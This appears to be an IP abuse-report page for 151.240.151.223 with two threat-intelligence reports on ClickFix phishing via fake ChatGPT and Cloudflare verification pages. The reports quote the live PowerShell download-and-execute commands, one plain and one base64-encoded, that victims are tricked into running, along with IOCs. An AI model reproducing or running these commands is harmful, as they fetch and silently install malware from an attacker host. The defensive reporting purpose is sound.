This IP address has been reported a total of
2
times from
2 distinct
sources.
151.240.151.223 was first reported on
, and the most recent report was
.
In the last 60 days, the top reporter locations were:
United Kingdom of Great Britain and Northern Ireland
with 1
report;
United States of America
with 1
report.
The most common categories in these recent reports were:
Phishing
2
times;
Hacking
2
times;
Exploited Host
1
time;
Bad Web Bot
1
time.
Recent Reports
We have received reports of abusive activity from this IP address within the last week. It is
potentially still actively engaged in abusive activities.
Click-fix C2, hosted by fake ChatGPT sites.
Tricks users into Win+R, Ctrl-V, Enter with this PS ...
show moreClick-fix C2, hosted by fake ChatGPT sites.
Tricks users into Win+R, Ctrl-V, Enter with this PS script:
powershell -ExecutionPolicy Bypass "irm 2549127135/151 -OutFile $env:temp\151.ps1;& $env:temp\151.ps1
show less
Vector: ClickFix/FakeTurnstile scheme via itch.io redirect to a spoofed Cloudflare human-verificatio ...
show moreVector: ClickFix/FakeTurnstile scheme via itch.io redirect to a spoofed Cloudflare human-verification overlay. Tricks users into running an obfuscated string via Win+R.
Deobfuscated payload execution:
powershell.exe -nop -w h -enc YwBkACAAJABlAG4AdgA6AFQATQBQADsAaQByAG0AIAAyADUANAA5ADEAMgA3ADEAMwA1AC8AMwAzADMAIAAtAE8AdQB0AEYAaQBsAGUAIAB1AC4AbQBzAGkAOwBtAHMAaQBlAHgAZQBjACAALwBpACAAdQAuAG0AcwBpACAALwBxAG4AIABNAFMASQBJAE4AUwBUAEEATABMAFAARQBSAFUAUwBFAFIAPQAxAA==
Decoded:
cd $env:TMP;irm 2549127135/333 -OutFile u.msi;msiexec /i u.msi /qn
IOCs:
- Obfuscated Integer IP: 2549127135
- Target Destination IP: 151.240.151.223 (Beltelecom, Belarus)
- Active URL Path: http://151.240.151
- Payload dropped: u.msi (Local temporary directory)
- Installed application name: vsjoCXeFd HKWdtLch
Flag host as active malware distribution node to protect network boundaries.
show less
Bad Web Bot
Exploited Host
Phishing
Hacking
Showing 1 to
2
of 2 reports
Think this IP has been falsely reported? You may request to have the associated
reports reviewed and removed.
Request Takedown 🚩
